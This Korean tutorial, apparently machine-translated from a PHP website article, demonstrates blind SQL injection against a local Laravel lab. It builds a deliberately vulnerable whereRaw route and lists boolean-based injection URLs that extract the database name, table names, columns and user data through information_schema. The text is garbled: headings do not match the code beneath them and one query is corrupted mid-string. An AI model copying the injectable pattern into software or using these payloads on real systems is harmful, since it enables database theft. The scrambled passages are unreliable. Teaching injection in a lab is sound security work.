이 기사에서는 laravel 취약점을 생성하여 SQL 블라인드 주입의 원리를 설명하는 방법을 주로 소개하는 laravel에 대한 관련 지식을 제공합니다. 소위 블라인드 주입은 서버에 오류 에코가 없을 때 주입이 완료되는 것입니다. 한번 살펴보겠습니다. 모든 사람에게 도움이 되기를 바랍니다. ㅋㅋㅋ
데이터베이스 이름
데이터 이름을 맞춰보세요 length composer create-project laravel/laravel lar9 // 安装laravel9
// 编辑.env 修改为DEBUG=false 配置数据库
DEBUG=false
DB_HOST=....
php artisan migrate
php artisan serve // 启动
// 插入数据
insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');
데이터베이스 이름 추측
// routes/web.php Route::get('/', function () { $id = request()->id; $user = \App\Models\User::whereRaw('id = '.$id)->first(); return $user->name ?? ''; }); // 最后转换的sql是: select * from users where id = $id
마지막으로: laravel_project
테이블 이름다음 단계는 데이터베이스 추측과 유사하므로 간단하게 설명하겠습니다.
information_schema
데이터베이스 이름, 테이블 이름, 열 유형 등이 모두 이 데이터베이스에서 나와야 한다고 추측합니다.
laravel_project의 테이블 개수를 맞춰보세요http://127.0.0.1:8000/?id=1' // 500 http://127.0.0.1:8000/?id=1 and 1=2 // select * from users where id = 1 and 1=2; 返回空 http://127.0.0.1:8000/?id=1 and 1=1 // select * from users where id = 1 and 1=1 返回xxh첫 번째 테이블 이름의 길이를 맞춰보세요
[데이터 이름 길이 추측]보다 많지 않습니다.
첫 번째 테이블 이름 추측하기url: http://127.0.0.1:8000/?id=1 and length(database()) = 1 select * from users where id = 1 and length(database()) = 1 select * from users where id = 1 and length(database()) = 2 // 一直循环下去
마지막으로 첫 번째 테이블 이름은 failed_jobs
필드 추측하기논리는 테이블 추측과 완전히 동일합니다.
从第一步 知道了数据库名长度 `select * from users where id = 1 and substr(database(),1,1) =a` `select * from users where id = 1 and substr(database(),1,1) =b` // 一直循环下去 找到数据库名的第一个做字符 然后找第二个字符 直到找完数据库名的长度
데이터를 맞춰보세요
데이터 이것이 가장 중요합니다. failed_jobs에는 데이터가 없으므로 사용자로 변경했습니다.
사용자에게는 비밀번호 필드가 있습니다.
url: http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5 mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct"; +----------+ | count(*) | +----------+ | 5 | +----------+
...
Defense(때때로 요구 사항을 충족하지 못하는 곳은 whereRaw가 필요합니다)필요한 경우 바인딩하는 것만 기억하세요.
url: http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f' mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1; +------------------------+ | substr(table_name,1,1) | +------------------------+ | f | +------------------------+ // 得出第一个表的第一个字段是f 然后查第
프레임워크를 안전하게 사용하는 한 허점은 없을 것입니다.
오래된 프로젝트에는 허점이 가득합니다. 이 시대에는 허점을 찾는 것이 어렵습니다.
Ps위에서는 단순화를 위해 가장 간단한 검색을 사용했습니다.
수동 블라인드 주입은 이진 검색을 사용해야 합니다.
select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; // fail_jobs字段总数
직접 스캔하려면 sqlmap 도구를 사용하는 것이 가장 좋습니다. 【관련 추천:
laravel 동영상 튜토리얼】
위 내용은 Laravel 취약점 예제를 통해 SQL 블라인드 주입 원리를 구문 분석합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!